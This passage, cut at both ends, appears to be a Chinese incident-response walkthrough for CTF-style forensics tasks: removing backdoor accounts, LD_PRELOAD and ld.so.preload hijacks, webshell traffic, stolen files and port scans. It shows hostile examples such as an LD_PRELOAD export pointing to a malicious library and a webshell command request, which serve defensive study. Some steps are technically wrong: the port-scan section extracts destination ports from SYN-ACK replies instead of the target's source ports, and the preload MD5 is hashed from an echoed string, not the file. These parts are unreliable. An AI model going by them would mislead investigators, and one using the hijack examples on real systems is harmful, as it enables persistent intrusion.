</ul>
|
||
<ol start="3">
|
||
<li><strong>清理已加载的恶意库</strong>:</li>
|
||
</ol>
|
||
<ul>
|
||
<li>如果已经确定了恶意库的位置,可以直接删除这些文件,并确保没有残留的引用。</li>
|
||
</ul>
|
||
<h3 id="恶意用户后门"><a class="header" href="#恶意用户后门">恶意用户后门</a></h3>
|
||
<p>恶意用户后门指的是攻击者创建的额外账户,这些账户可能拥有管理员权限或其他特权,允许攻击者再次访问系统。</p>
|
||
<h4 id="查找恶意用户后门"><a class="header" href="#查找恶意用户后门">查找恶意用户后门</a></h4>
|
||
<ol>
|
||
<li><strong>检查 <code>/etc/passwd</code> 文件</strong>:</li>
|
||
</ol>
|
||
<ul>
|
||
<li>使用 <code>cat /etc/passwd</code> 查看所有用户列表。</li>
|
||
<li>注意那些UID为0的用户(除了root),以及最近添加的新用户。</li>
|
||
</ul>
|
||
<ol start="2">
|
||
<li><strong>检查登录历史记录</strong>:</li>
|
||
</ol>
|
||
<ul>
|
||
<li>使用 <code>last</code> 和 <code>lastlog</code> 命令查看用户的登录活动。</li>
|
||
<li>检查 <code>/var/log/auth.log</code> 或 <code>/var/log/secure</code> 日志文件,寻找异常登录尝试或成功登录记录。</li>
|
||
</ul>
|
||
<ol start="3">
|
||
<li><strong>查看SSH密钥</strong>:</li>
|
||
</ol>
|
||
<ul>
|
||
<li>检查 <code>/home/用户名/.ssh/authorized_keys</code> 文件,看看是否有未知的公钥。</li>
|
||
<li>删除任何非预期的条目。</li>
|
||
</ul>
|
||
<h4 id="清除恶意用户后门"><a class="header" href="#清除恶意用户后门">清除恶意用户后门</a></h4>
|
||
<ol>
|
||
<li><strong>删除恶意用户</strong>:</li>
|
||
</ol>
|
||
<ul>
|
||
<li>使用 <code>userdel</code> 命令删除可疑用户。例如:<code>sudo userdel -r suspicious_user</code></li>
|
||
<li><code>-r</code> 参数表示同时删除用户的主目录及邮件池。</li>
|
||
</ul>
|
||
<ol start="2">
|
||
<li><strong>删除相关文件</strong>:</li>
|
||
</ol>
|
||
<ul>
|
||
<li>删除与恶意用户相关的文件,特别是他们的家目录和<code>.ssh</code>文件夹中的内容。</li>
|
||
</ul>
|
||
<p>清除服务器中的所有后门是一个复杂且细致的任务。以下是一些常见的后门类型及其清除方法:</p>
|
||
<h3 id="1-环境变量后门"><a class="header" href="#1-环境变量后门">1. 环境变量后门</a></h3>
|
||
<p>攻击者可能会在环境变量中添加恶意命令或路径,以便在用户登录时自动执行。</p>
|
||
<h4 id="检查和清除环境变量后门"><a class="header" href="#检查和清除环境变量后门">检查和清除环境变量后门:</a></h4>
|
||
<ol>
|
||
<li><strong>检查用户环境变量</strong>:</li>
|
||
</ol>
|
||
<p>检查当前用户的环境变量:</p>
|
||
<pre><code class="language-bash">env
|
||
</code></pre>
|
||
<p>检查所有用户的环境变量:</p>
|
||
<pre><code class="language-bash">cat /etc/profile
|
||
cat /etc/bashrc
|
||
cat ~/.bashrc
|
||
cat ~/.bash_profile
|
||
cat ~/.profile
|
||
</code></pre>
|
||
<ol start="2">
|
||
<li><strong>查找可疑的环境变量</strong>:</li>
|
||
</ol>
|
||
<p>查找包含可疑路径或命令的环境变量。例如:</p>
|
||
<pre><code class="language-bash">export PATH=/malicious/path:$PATH
|
||
export LD_PRELOAD=/malicious/library.so
|
||
</code></pre>
|
||
<ol start="3">
|
||
<li><strong>删除可疑的环境变量</strong>:</li>
|
||
</ol>
|
||
<p>编辑相应的配置文件(如 <code>/etc/profile</code>、<code>~/.bashrc</code> 等),删除或注释掉可疑的环境变量。</p>
|
||
<h3 id="2-恶意用户后门"><a class="header" href="#2-恶意用户后门">2. 恶意用户后门</a></h3>
|
||
<p>攻击者可能会创建恶意用户或修改现有用户的权限,以便在系统中留下后门。</p>
|
||
<h4 id="检查和清除恶意用户后门"><a class="header" href="#检查和清除恶意用户后门">检查和清除恶意用户后门:</a></h4>
|
||
<ol>
|
||
<li><strong>检查用户列表</strong>:</li>
|
||
</ol>
|
||
<p>列出所有用户:</p>
|
||
<pre><code class="language-bash">cat /etc/passwd
|
||
</code></pre>
|
||
<p>检查是否有未知的或可疑的用户。</p>
|
||
<ol start="2">
|
||
<li><strong>检查用户权限</strong>:</li>
|
||
</ol>
|
||
<p>检查用户的权限和组:</p>
|
||
<pre><code class="language-bash">cat /etc/group
|
||
</code></pre>
|
||
<p>检查是否有用户被添加到特权组(如 <code>sudo</code> 或 <code>wheel</code>)。</p>
|
||
<ol start="3">
|
||
<li><strong>删除恶意用户</strong>:</li>
|
||
</ol>
|
||
<p>删除可疑用户:</p>
|
||
<pre><code class="language-bash">sudo userdel -r suspicious_user
|
||
</code></pre>
|
||
<ol start="4">
|
||
<li><strong>重置用户密码</strong>:</li>
|
||
</ol>
|
||
<p>重置所有用户的密码,特别是特权用户的密码:</p>
|
||
<pre><code class="language-bash">sudo passwd root
|
||
sudo passwd user1
|
||
</code></pre>
|
||
<h2 id="10数据库恢复"><a class="header" href="#10数据库恢复">10.数据库恢复</a></h2>
|
||
<p>恢复攻击者删除的数据库</p>
|
||
<p>思路:利用source命令恢复数据库</p>
|
||
<p>MySQL数据库恢复</p>
|
||
<h3 id="数据库恢复利用-source-命令恢复mysql数据库"><a class="header" href="#数据库恢复利用-source-命令恢复mysql数据库">数据库恢复:利用 <code>source</code> 命令恢复MySQL数据库</a></h3>
|
||
<p>当遇到攻击者删除了数据库的情况,如果你之前有定期备份数据库的习惯,那么可以使用这些备份来恢复数据。这里我们将介绍如何使用 <code>source</code> 命令从SQL文件中恢复数据库。</p>
|
||
<h4 id="1-准备工作"><a class="header" href="#1-准备工作">1. 准备工作</a></h4>
|
||
<ul>
|
||
<li>确保你有一个有效的数据库备份文件(<code>.sql</code>格式)。</li>
|
||
<li>确认MySQL服务正在运行,并且你拥有足够的权限执行恢复操作。通常需要具有<code>CREATE</code>, <code>INSERT</code>, <code>DROP</code>等权限。</li>
|
||
<li>如果可能,先在测试环境中尝试恢复过程,以确保不会影响生产环境。</li>
|
||
</ul>
|
||
<h4 id="2-创建数据库"><a class="header" href="#2-创建数据库">2. 创建数据库</a></h4>
|
||
<p>如果被删除的数据库还没有被重新创建,你需要首先创建一个同名的新数据库:</p>
|
||
<pre><code class="language-sql">mysql -u root -p
|
||
</code></pre>
|
||
<p>登录后,执行以下命令创建数据库:</p>
|
||
<pre><code class="language-sql">CREATE DATABASE your_database_name;
|
||
</code></pre>
|
||
<h4 id="3-使用-source-命令恢复数据库"><a class="header" href="#3-使用-source-命令恢复数据库">3. 使用 <code>source</code> 命令恢复数据库</a></h4>
|
||
<p>your_backup.sql默认路径 /var/lib/mysql/backups 没有的话配置文件中找 datadir</p>
|
||
<pre><code class="language-sh"># vi /etc/my.cnf.d/server.cnf [On CentOS/RHEL]
|
||
# vi /etc/mysql/mariadb.conf.d/50-server.cnf [On Debian/Ubuntu]
|
||
</code></pre>
|
||
<p>接下来,你需要选择要恢复的数据库,并通过 <code>source</code> 命令导入备份文件中的SQL语句:</p>
|
||
<pre><code class="language-bash">mysql -u root -p your_database_name < /path/to/your_backup.sql
|
||
</code></pre>
|
||
<p>或者,你可以进入MySQL命令行界面,然后指定数据库并使用 <code>source</code> 命令:</p>
|
||
<pre><code class="language-bash">mysql -u root -p
|
||
</code></pre>
|
||
<p>输入密码后,在MySQL提示符下执行:</p>
|
||
<pre><code class="language-sql">USE your_database_name;
|
||
SOURCE /path/to/your_backup.sql;
|
||
</code></pre>
|
||
<p><strong>注意</strong>: 路径 <code>/path/to/your_backup.sql</code> 应该替换为你的备份文件实际所在的完整路径。如果备份文件位于MySQL服务器上,则直接使用该路径;如果文件在客户端计算机上,你可能需要先将文件上传到服务器,或者使用重定向方法直接从客户端读取文件内容。</p>
|
||
<h4 id="4-验证恢复结果"><a class="header" href="#4-验证恢复结果">4. 验证恢复结果</a></h4>
|
||
<p>完成上述步骤后,检查数据库是否已成功恢复。可以通过查询特定表或查看数据库结构来验证:</p>
|
||
<pre><code class="language-sql">SHOW TABLES;
|
||
SELECT * FROM some_table LIMIT 10; # 替换some_table为具体表名
|
||
</code></pre>
|
||
<h2 id="11流量分析"><a class="header" href="#11流量分析">11.流量分析</a></h2>
|
||
<p>确认并提交攻击者执行的第一个命令
|
||
考察点:流量分析,寻找攻击痕迹</p>
|
||
<p>流量分析是确认攻击者执行的第一个命令的重要手段。通过分析网络流量,可以识别出攻击者与服务器之间的交互,从而找到攻击者执行的第一个命令。以下是详细的步骤和工具,帮助你进行流量分析并确认攻击者执行的第一个命令。</p>
|
||
<h3 id="1-捕获流量"><a class="header" href="#1-捕获流量">1. 捕获流量</a></h3>
|
||
<p>首先,你需要捕获服务器上的网络流量。可以使用 <code>tcpdump</code> 或 <code>Wireshark</code> 来捕获流量。</p>
|
||
<h4 id="使用-tcpdump-捕获流量"><a class="header" href="#使用-tcpdump-捕获流量">使用 <code>tcpdump</code> 捕获流量:</a></h4>
|
||
<pre><code class="language-bash">sudo tcpdump -i eth0 -w capture.pcap
|
||
</code></pre>
|
||
<h4 id="使用-wireshark-捕获流量"><a class="header" href="#使用-wireshark-捕获流量">使用 <code>Wireshark</code> 捕获流量:</a></h4>
|
||
<ol>
|
||
<li>打开 Wireshark。</li>
|
||
<li>选择要捕获流量的网络接口(如 <code>eth0</code>)。</li>
|
||
<li>开始捕获流量。</li>
|
||
</ol>
|
||
<h3 id="2-分析流量"><a class="header" href="#2-分析流量">2. 分析流量</a></h3>
|
||
<p>捕获流量后,使用 Wireshark 或其他流量分析工具来分析流量。</p>
|
||
<h4 id="使用-wireshark-分析流量-1"><a class="header" href="#使用-wireshark-分析流量-1">使用 Wireshark 分析流量:</a></h4>
|
||
<ol>
|
||
<li>打开捕获的流量文件(如 <code>capture.pcap</code>)。</li>
|
||
<li>过滤 HTTP 请求:</li>
|
||
</ol>
|
||
<pre><code class="language-bash">http
|
||
</code></pre>
|
||
<ol start="3">
|
||
<li>查找可疑的 HTTP 请求:</li>
|
||
</ol>
|
||
<p>查找包含可疑参数或路径的 HTTP 请求。例如,查找包含 <code>cmd</code>、<code>eval</code>、<code>exec</code> 等参数的请求。</p>
|
||
<pre><code class="language-bash">http.request.uri contains "cmd" or http.request.uri contains "eval" or http.request.uri contains "exec"
|
||
</code></pre>
|
||
<ol start="4">
|
||
<li>查看请求的详细信息:</li>
|
||
</ol>
|
||
<p>双击可疑的 HTTP 请求,查看请求的详细信息,包括请求头、请求体和响应内容。</p>
|
||
<h3 id="3-确认攻击者执行的第一个命令"><a class="header" href="#3-确认攻击者执行的第一个命令">3. 确认攻击者执行的第一个命令</a></h3>
|
||
<p>通过分析流量,确认攻击者执行的第一个命令。通常,攻击者执行的第一个命令可能是尝试获取系统信息、列出目录内容或执行其他初始操作。</p>
|
||
<h4 id="示例"><a class="header" href="#示例">示例:</a></h4>
|
||
<p>假设你发现以下 HTTP 请求:</p>
|
||
<pre><code>GET /path/to/webshell.php?cmd=ls HTTP/1.1
|
||
</code></pre>
|
||
<p>这表明攻击者执行的第一个命令是 <code>ls</code>,用于列出当前目录的内容。</p>
|
||
<h3 id="4-提交攻击者执行的第一个命令"><a class="header" href="#4-提交攻击者执行的第一个命令">4. 提交攻击者执行的第一个命令</a></h3>
|
||
<p>确认攻击者执行的第一个命令后,将其提交。</p>
|
||
<h4 id="示例-1"><a class="header" href="#示例-1">示例:</a></h4>
|
||
<p>假设攻击者执行的第一个命令是 <code>ls</code>,你可以将其提交为:</p>
|
||
<pre><code>ls
|
||
</code></pre>
|
||
<h3 id="5-进一步分析和清除后门"><a class="header" href="#5-进一步分析和清除后门">5. 进一步分析和清除后门</a></h3>
|
||
<p>确认攻击者执行的第一个命令后,进一步分析流量以识别其他攻击行为,并清除服务器中的后门。</p>
|
||
<h4 id="步骤"><a class="header" href="#步骤">步骤:</a></h4>
|
||
<ol>
|
||
<li><strong>查找其他可疑请求</strong>:</li>
|
||
</ol>
|
||
<p>继续分析流量,查找其他可疑的 HTTP 请求,特别是那些包含恶意参数或路径的请求。</p>
|
||
<ol start="2">
|
||
<li><strong>清除 WebShell</strong>:</li>
|
||
</ol>
|
||
<p>找到并删除服务器中的 WebShell 文件。</p>
|
||
<pre><code class="language-bash">sudo rm /path/to/webshell.php
|
||
</code></pre>
|
||
<ol start="3">
|
||
<li><strong>加强安全措施</strong>:</li>
|
||
</ol>
|
||
<p>为了防止未来再次被攻击者上传 WebShell,建议加强服务器的安全措施:</p>
|
||
<ul>
|
||
<li><strong>更新和修补系统</strong>:确保操作系统和所有软件都更新到最新版本,以修复已知漏洞。</li>
|
||
<li><strong>限制文件上传</strong>:限制用户上传文件的类型和大小,并检查上传文件的内容。</li>
|
||
<li><strong>使用 Web 应用防火墙(WAF)</strong>:使用 WAF 来检测和阻止恶意请求。</li>
|
||
<li><strong>定期备份和监控</strong>:定期备份网站数据,并监控服务器日志以检测异常活动。</li>
|
||
</ul>
|
||
<p>通过以上步骤,你可以有效地通过流量分析确认攻击者执行的第一个命令,并采取相应的措施来清除后门和加强服务器的安全性。</p>
|
||
<h2 id="12流量分析"><a class="header" href="#12流量分析">12.流量分析</a></h2>
|
||
<p>攻击者从服务器中窃取了文件,请提交该文件的文件名
|
||
考察:流量分析,寻找攻击痕迹</p>
|
||
<p>在流量分析中,攻击者从服务器中窃取文件的行为通常会表现为 HTTP 请求或 FTP 传输。以下是详细的步骤和工具,帮助你进行流量分析并确认攻击者窃取的文件名。</p>
|
||
<h3 id="1-捕获流量-1"><a class="header" href="#1-捕获流量-1">1. 捕获流量</a></h3>
|
||
<p>首先,你需要捕获服务器上的网络流量。可以使用 <code>tcpdump</code> 或 <code>Wireshark</code> 来捕获流量。</p>
|
||
<h4 id="使用-tcpdump-捕获流量-1"><a class="header" href="#使用-tcpdump-捕获流量-1">使用 <code>tcpdump</code> 捕获流量:</a></h4>
|
||
<pre><code class="language-bash">sudo tcpdump -i eth0 -w capture.pcap
|
||
</code></pre>
|
||
<h4 id="使用-wireshark-捕获流量-1"><a class="header" href="#使用-wireshark-捕获流量-1">使用 <code>Wireshark</code> 捕获流量:</a></h4>
|
||
<ol>
|
||
<li>打开 Wireshark。</li>
|
||
<li>选择要捕获流量的网络接口(如 <code>eth0</code>)。</li>
|
||
<li>开始捕获流量。</li>
|
||
</ol>
|
||
<h3 id="2-分析流量-1"><a class="header" href="#2-分析流量-1">2. 分析流量</a></h3>
|
||
<p>捕获流量后,使用 Wireshark 或其他流量分析工具来分析流量。</p>
|
||
<h4 id="使用-wireshark-分析流量-2"><a class="header" href="#使用-wireshark-分析流量-2">使用 Wireshark 分析流量:</a></h4>
|
||
<ol>
|
||
<li>打开捕获的流量文件(如 <code>capture.pcap</code>)。</li>
|
||
<li>过滤 HTTP 请求:</li>
|
||
</ol>
|
||
<pre><code class="language-bash">http
|
||
</code></pre>
|
||
<ol start="3">
|
||
<li>查找文件下载请求:</li>
|
||
</ol>
|
||
<p>查找包含文件下载的 HTTP 请求。通常,文件下载请求会包含 <code>GET</code> 方法和文件路径。</p>
|
||
<pre><code class="language-bash">http.request.method == "GET"
|
||
</code></pre>
|
||
<ol start="4">
|
||
<li>查看请求的详细信息:</li>
|
||
</ol>
|
||
<p>双击可疑的 HTTP 请求,查看请求的详细信息,包括请求头、请求体和响应内容。</p>
|
||
<h3 id="3-确认攻击者窃取的文件名"><a class="header" href="#3-确认攻击者窃取的文件名">3. 确认攻击者窃取的文件名</a></h3>
|
||
<p>通过分析流量,确认攻击者窃取的文件名。通常,文件下载请求的 URI 中会包含文件名。</p>
|
||
<h4 id="示例-2"><a class="header" href="#示例-2">示例:</a></h4>
|
||
<p>假设你发现以下 HTTP 请求:</p>
|
||
<pre><code>GET /path/to/sensitive_file.txt HTTP/1.1
|
||
</code></pre>
|
||
<p>这表明攻击者窃取的文件名是 <code>sensitive_file.txt</code>。</p>
|
||
<h3 id="4-提交攻击者窃取的文件名"><a class="header" href="#4-提交攻击者窃取的文件名">4. 提交攻击者窃取的文件名</a></h3>
|
||
<p>确认攻击者窃取的文件名后,将其提交。</p>
|
||
<h4 id="示例-3"><a class="header" href="#示例-3">示例:</a></h4>
|
||
<p>假设攻击者窃取的文件名是 <code>sensitive_file.txt</code>,你可以将其提交为:</p>
|
||
<pre><code>sensitive_file.txt
|
||
</code></pre>
|
||
<h2 id="13后门排查"><a class="header" href="#13后门排查">13.后门排查</a></h2>
|
||
<p>攻击者对系统命令进行了劫持,请找到该系统命令,并提交命令文件的md5</p>
|
||
<p>(使用md5sum命令计算)</p>
|
||
<p>使用find命令查找结合参数-newermt查找特定时间的文件</p>
|
||
<p>攻击者对系统命令进行劫持通常是通过替换或修改系统命令的可执行文件来实现的。为了找到被劫持的系统命令并计算其 MD5 值,你可以使用 <code>find</code> 命令结合 <code>-newermt</code> 参数来查找特定时间范围内修改的文件。</p>
|
||
<h3 id="1-查找特定时间范围内修改的文件"><a class="header" href="#1-查找特定时间范围内修改的文件">1. 查找特定时间范围内修改的文件</a></h3>
|
||
<p>首先,使用 <code>find</code> 命令查找在特定时间范围内修改的文件。假设你想查找在过去 24 小时内修改的文件,可以使用以下命令:</p>
|
||
<pre><code class="language-bash">find /usr/bin /usr/sbin /bin /sbin -type f -newermt $(date -d "24 hours ago" +%Y-%m-%d)
|
||
</code></pre>
|
||
<h3 id="2-检查可疑文件"><a class="header" href="#2-检查可疑文件">2. 检查可疑文件</a></h3>
|
||
<p>在查找结果中,检查是否有可疑的系统命令文件。通常,被劫持的系统命令文件会有异常的权限或所有者。</p>
|
||
<h3 id="3-计算文件的-md5-值"><a class="header" href="#3-计算文件的-md5-值">3. 计算文件的 MD5 值</a></h3>
|
||
<p>找到可疑的系统命令文件后,使用 <code>md5sum</code> 命令计算其 MD5 值。</p>
|
||
<pre><code class="language-bash">md5sum /path/to/suspicious_command
|
||
</code></pre>
|
||
<h3 id="4-提交命令文件的-md5-值"><a class="header" href="#4-提交命令文件的-md5-值">4. 提交命令文件的 MD5 值</a></h3>
|
||
<p>将计算出的 MD5 值提交。</p>
|
||
<p>假设你发现 <code>/usr/bin/ls</code> 文件在最近 24 小时内被修改,并且你怀疑它被劫持了。你可以执行以下步骤:</p>
|
||
<ol>
|
||
<li><strong>查找特定时间范围内修改的文件</strong>:</li>
|
||
</ol>
|
||
<pre><code class="language-bash">find /usr/bin /usr/sbin /bin /sbin -type f -newermt $(date -d "24 hours ago" +%Y-%m-%d)
|
||
</code></pre>
|
||
<ol start="2">
|
||
<li><strong>检查可疑文件</strong>:</li>
|
||
</ol>
|
||
<p>假设你发现 <code>/usr/bin/ls</code> 文件在查找结果中。</p>
|
||
<ol start="3">
|
||
<li><strong>计算文件的 MD5 值</strong>:</li>
|
||
</ol>
|
||
<pre><code class="language-bash">md5sum /usr/bin/ls
|
||
</code></pre>
|
||
<p>假设输出为:</p>
|
||
<pre><code>5d41402abc4b2a76b9719d911017c592 /usr/bin/ls
|
||
</code></pre>
|
||
<ol start="4">
|
||
<li><strong>提交命令文件的 MD5 值</strong>:</li>
|
||
</ol>
|
||
<p>将 <code>5d41402abc4b2a76b9719d911017c592</code> 提交。</p>
|
||
<h3 id="5-恢复原始文件"><a class="header" href="#5-恢复原始文件">5. 恢复原始文件</a></h3>
|
||
<p>如果确认某个系统命令文件被劫持,建议恢复原始文件或从可信源重新安装该命令。</p>
|
||
<h4 id="恢复原始文件"><a class="header" href="#恢复原始文件">恢复原始文件:</a></h4>
|
||
<ol>
|
||
<li><strong>备份被劫持的文件</strong>:</li>
|
||
</ol>
|
||
<pre><code class="language-bash">sudo cp /usr/bin/ls /usr/bin/ls.bak
|
||
</code></pre>
|
||
<ol start="2">
|
||
<li><strong>从备份或可信源恢复文件</strong>:</li>
|
||
</ol>
|
||
<pre><code class="language-bash">sudo cp /path/to/original/ls /usr/bin/ls
|
||
</code></pre>
|
||
<h2 id="14后门排查"><a class="header" href="#14后门排查">14.后门排查</a></h2>
|
||
<p>攻击者上传了恶意程序,高度占用系统资源,请提交该恶意程序的32位MD5值(小写)。</p>
|
||
<p>思路:busybox查找</p>
|
||
<h3 id="后门排查动态链接库劫持"><a class="header" href="#后门排查动态链接库劫持">后门排查:动态链接库劫持</a></h3>
|
||
<p>攻击者可能会通过动态链接库(DLL)劫持来执行恶意代码,尤其是在系统资源被高度占用的情况下。以下是排查和获取恶意程序32位MD5值的步骤:</p>
|
||
<h3 id="步骤-1-使用-busybox-查找高资源占用的进程"><a class="header" href="#步骤-1-使用-busybox-查找高资源占用的进程">步骤 1: 使用 <code>busybox</code> 查找高资源占用的进程</a></h3>
|
||
<ol>
|
||
<li><strong>查找高CPU占用的进程</strong>:</li>
|
||
</ol>
|
||
<pre><code class="language-bash">./busybox top -b -n 1 | ./busybox grep -v "PID" | ./busybox sort -k 9 -r | ./busybox head -n 5
|
||
</code></pre>
|
||
<ol start="2">
|
||
<li><strong>查找高内存占用的进程</strong>:</li>
|
||
</ol>
|
||
<pre><code class="language-bash">./busybox top -b -n 1 | ./busybox grep -v "PID" | ./busybox sort -k 10 -r | ./busybox head -n 5
|
||
</code></pre>
|
||
<h3 id="步骤-2-获取可疑进程的pid"><a class="header" href="#步骤-2-获取可疑进程的pid">步骤 2: 获取可疑进程的PID</a></h3>
|
||
<p>从上述命令的输出中,找到可能是恶意程序的进程PID。</p>
|
||
<h3 id="步骤-3-检查进程的动态链接库"><a class="header" href="#步骤-3-检查进程的动态链接库">步骤 3: 检查进程的动态链接库</a></h3>
|
||
<p>使用 <code>busybox</code> 检查该进程加载的动态链接库:</p>
|
||
<pre><code class="language-bash">./busybox lsof -p <PID> | busybox grep .so
|
||
</code></pre>
|
||
<p>将 <code><PID></code> 替换为你在上一步中找到的进程ID。</p>
|
||
<h3 id="步骤-4-分析可疑的动态链接库"><a class="header" href="#步骤-4-分析可疑的动态链接库">步骤 4: 分析可疑的动态链接库</a></h3>
|
||
<p>从 <code>lsof</code> 的输出中,找到可能是恶意动态链接库的文件路径。通常,这些文件可能位于 <code>/tmp</code>、<code>/var/tmp</code> 或其他非标准目录中。</p>
|
||
<h3 id="步骤-5-计算可疑动态链接库的md5值"><a class="header" href="#步骤-5-计算可疑动态链接库的md5值">步骤 5: 计算可疑动态链接库的MD5值</a></h3>
|
||
<p>使用 <code>busybox</code> 计算该文件的MD5值:</p>
|
||
<pre><code class="language-bash">busybox md5sum <文件路径> | busybox awk '{print $1}'
|
||
</code></pre>
|
||
<p>将 <code><文件路径></code> 替换为你在上一步中找到的文件路径。</p>
|
||
<h3 id="步骤-6-提交32位md5值"><a class="header" href="#步骤-6-提交32位md5值">步骤 6: 提交32位MD5值</a></h3>
|
||
<p>将计算出的MD5值提交,确保它是小写的32位MD5值。</p>
|
||
<h3 id="示例-4"><a class="header" href="#示例-4">示例</a></h3>
|
||
<p>假设你找到的可疑进程的PID是 <code>1234</code>,动态链接库路径是 <code>/tmp/malicious_library.so</code>,那么你可以执行以下命令:</p>
|
||
<pre><code class="language-bash">busybox lsof -p 1234 | busybox grep .so
|
||
busybox md5sum /tmp/malicious_library.so | busybox awk '{print $1}'
|
||
</code></pre>
|
||
<p>假设输出是 <code>5f4dcc3b5aa765d61d8327deb882cf99</code>,那么这就是你要提交的32位MD5值。</p>
|
||
<h2 id="15后门排查"><a class="header" href="#15后门排查">15.后门排查</a></h2>
|
||
<p>攻击者对系统函数调用进行了劫持,请提交攻击者利用的配置文件的32位MD5值(小写)。</p>
|
||
<p>/etc/ld.so.preload</p>
|
||
<p>考察点:环境变量劫持</p>
|
||
<p>要解决这个问题,我们需要了解攻击者是如何利用 <code>/etc/ld.so.preload</code> 文件来劫持系统函数调用的。<code>/etc/ld.so.preload</code> 是一个特殊的文件,它允许在程序启动时加载指定的共享库,从而可以劫持系统函数调用。</p>
|
||
<h3 id="步骤-1"><a class="header" href="#步骤-1">步骤:</a></h3>
|
||
<ol>
|
||
<li><strong>定位配置文件</strong>:</li>
|
||
</ol>
|
||
<ul>
|
||
<li>题目已经给出了配置文件的路径:<code>/etc/ld.so.preload</code>。</li>
|
||
</ul>
|
||
<ol start="2">
|
||
<li><strong>获取文件内容</strong>:</li>
|
||
</ol>
|
||
<ul>
|
||
<li>我们需要获取 <code>/etc/ld.so.preload</code> 文件的内容。假设文件内容如下:</li>
|
||
</ul>
|
||
<pre><code>cat -A /etc/ld.so.preload
|
||
OR
|
||
./busybox cat /etc/ld.so.preload
|
||
|
||
strace -f -e trace=file /bin/ls
|
||
/path/to/malicious_library.so
|
||
</code></pre>
|
||
<ol start="3">
|
||
<li><strong>计算MD5值</strong>:</li>
|
||
</ol>
|
||
<ul>
|
||
<li>使用 <code>md5sum</code> 命令计算文件内容的MD5值。</li>
|
||
</ul>
|
||
<h3 id="示例操作"><a class="header" href="#示例操作">示例操作:</a></h3>
|
||
<p>假设 <code>/etc/ld.so.preload</code> 文件内容如下:</p>
|
||
<pre><code>/path/to/malicious_library.so
|
||
</code></pre>
|
||
<p>我们可以使用以下命令来计算MD5值:</p>
|
||
<pre><code class="language-bash">echo -n "/path/to/malicious_library.so" | md5sum
|
||
</code></pre>
|
||
<p>假设输出为:</p>
|
||
<pre><code>3e25960a79dbc69b674cd4ec67a72c62 -
|
||
</code></pre>
|
||
<h3 id="结果"><a class="header" href="#结果">结果:</a></h3>
|
||
<ul>
|
||
<li>32位MD5值为 <code>3e25960a79dbc69b674cd4ec67a72c62</code>。</li>
|
||
</ul>
|
||
<h3 id="最终答案"><a class="header" href="#最终答案">最终答案:</a></h3>
|
||
<pre><code>3e25960a79dbc69b674cd4ec67a72c62
|
||
</code></pre>
|
||
<p>请注意,实际的MD5值可能会根据文件内容的不同而有所变化。你需要根据实际的文件内容来计算MD5值。</p>
|
||
<h2 id="16流量分析"><a class="header" href="#16流量分析">16.流量分析</a></h2>
|
||
<p>攻击者对目标 10.2.2.103进行了扫描,请提交攻击者扫描到的开放端口,端过滤查找tcp扫描流量口以从低至高排序,</p>
|
||
<p>过滤查找tcp扫描流量</p>
|
||
<p>考察:端口扫描流量分析</p>
|
||
<p>为了完成这个任务,我们需要使用Wireshark来过滤和分析TCP端口扫描的流量。下面是具体的操作步骤,包括如何设置过滤器、如何识别开放端口以及最后如何整理出一个从低到高排序的开放端口列表。</p>
|
||
<h3 id="1-打开捕获文件"><a class="header" href="#1-打开捕获文件">1. 打开捕获文件</a></h3>
|
||
<p>首先,在Wireshark中打开包含攻击者对目标<code>10.2.2.103</code>进行扫描的网络数据包捕获文件(.pcap或.pcapng格式)。</p>
|
||
<h3 id="2-设置显示过滤器以查找tcp扫描流量"><a class="header" href="#2-设置显示过滤器以查找tcp扫描流量">2. 设置显示过滤器以查找TCP扫描流量</a></h3>
|
||
<p>在Wireshark的显示过滤器栏中输入以下表达式来筛选出与<code>10.2.2.103</code>相关的所有TCP流量:</p>
|
||
<pre><code class="language-sh">ip.addr == 10.2.2.103 and tcp
|
||
</code></pre>
|
||
<p>这将只展示那些源地址或目的地址为<code>10.2.2.103</code>且协议为TCP的数据包。</p>
|
||
<h3 id="3-进一步细化过滤条件以识别syn-ack响应"><a class="header" href="#3-进一步细化过滤条件以识别syn-ack响应">3. 进一步细化过滤条件以识别SYN-ACK响应</a></h3>
|
||
<p>为了找到开放的端口,我们需要特别关注那些接收到SYN-ACK响应的数据包。这是因为当攻击者发送一个SYN包给一个开放的端口时,如果该端口是开启状态,目标系统会回复一个SYN-ACK包。因此,我们可以通过寻找这些SYN-ACK响应来确定哪些端口是开放的。应用如下过滤器:</p>
|
||
<pre><code class="language-sh">ip.addr == 10.2.2.103 and tcp.flags.syn == 1 and tcp.flags.ack == 1
|
||
</code></pre>
|
||
<p>这个过滤器将只显示那些由<code>10.2.2.103</code>发出并且回应了SYN-ACK的数据包。</p>
|
||
<h3 id="4-分析结果以提取开放端口号"><a class="header" href="#4-分析结果以提取开放端口号">4. 分析结果以提取开放端口号</a></h3>
|
||
<p>浏览通过上述过滤器得到的数据包列表,记录下每个SYN-ACK数据包中的目标端口号(即<code>Destination Port</code>)。这些就是被确认为开放的端口。你可以直接从Wireshark的数据包详情窗口读取这些信息。</p>
|
||
<h3 id="5-整理开放端口列表并按顺序排列"><a class="header" href="#5-整理开放端口列表并按顺序排列">5. 整理开放端口列表并按顺序排列</a></h3>
|
||
<p>将收集到的所有开放端口号按照从小到大的顺序排列。例如,如果你发现了以下端口为开放状态:80, 22, 443, 21,则最终答案应该是一个有序列表[21, 22, 80, 443]。</p>
|
||
<h3 id="使用tshark进行自动化处理"><a class="header" href="#使用tshark进行自动化处理">使用tshark进行自动化处理</a></h3>
|
||
<p>如果你面对的是大量的数据包,并希望通过脚本快速获取开放端口列表,可以使用tshark,它是Wireshark的命令行版本。下面是一个简单的bash脚本示例,用于自动提取开放端口:</p>
|
||
<pre><code class="language-sh"># 假设你的捕获文件名为capture.pcap
|
||
tshark -r capture.pcap -Y 'ip.addr==10.2.2.103 && tcp.flags.syn==1 && tcp.flags.ack==1' -T fields -e tcp.dstport | sort -n | uniq
|
||
</code></pre>
|
||
<p>这段命令的作用是从<code>capture.pcap</code>文件中提取满足条件的数据包,然后输出每个数据包的目的端口号(<code>tcp.dstport</code>),并通过<code>sort -n</code>和<code>uniq</code>命令对其进行排序并去除重复项,从而得到一个去重后的开放端口列表。</p>
|
||
<h2 id="17流量分析"><a class="header" href="#17流量分析">17.流量分析</a></h2>
|
||
<p>攻击者对目标的Redis服务进行了认证登录,请提交攻击者登录成功使用的密码。</p>
|
||
<p>redis认证流量分析</p>
|
||
<p>使用Wireshark分析Redis通信流量包以找到Redis密码的过程如下:</p>
|
||
<h3 id="1-捕获redis流量"><a class="header" href="#1-捕获redis流量">1. 捕获Redis流量</a></h3>
|
||
